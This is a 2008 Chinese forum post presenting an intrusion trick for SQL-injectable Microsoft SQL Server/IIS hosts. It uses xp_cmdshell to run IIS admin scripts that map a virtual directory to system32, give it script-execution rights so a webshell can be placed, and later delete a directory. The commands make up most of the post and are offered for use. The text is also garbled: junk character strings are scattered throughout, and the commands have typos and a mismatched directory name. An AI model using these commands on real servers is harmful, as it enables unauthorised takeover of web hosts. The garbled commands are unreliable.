我爱电脑技术论坛 » 电脑综合区 » 无法获得Web绝对路径又一入侵方法

tianshiren 发表于 2008-6-26 18:12

无法获得Web绝对路径又一入侵方法

我们很多情况下都遇到SQL注入可以列目录和运行命 令，但是却很不容易找到web所在目录，也就不好得到一个webshell，这一招不错： +mv9` B2R _+u,d
w+w)pmE{
　　exec master.dbo.xp_cmdshell ’cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"’
b"M})?j#hl] 2P ^*iqow U
　　建立虚拟目录win,指向c:\windows\system32 %rrgFVU
;YcF:t p&v|,U~-b
　　exec master.dbo.xp_cmdshell ’cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture’
5Q7I"z4{h N!h%GG\
t2L
i
h8O\0J%a5\ 　　让win句有解析asp脚本权 限 !F[uT:T4O
_ lFA tii
　　exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"
;p]~ C"w*nV
)GW,c/XT5m M 　　删除虚拟目录。 2~T"~:OFFV
O ^qy [U7\Vx
G
　　找不到web绝对路径的一种解决办法!

查看完整版本: 无法获得Web绝对路径又一入侵方法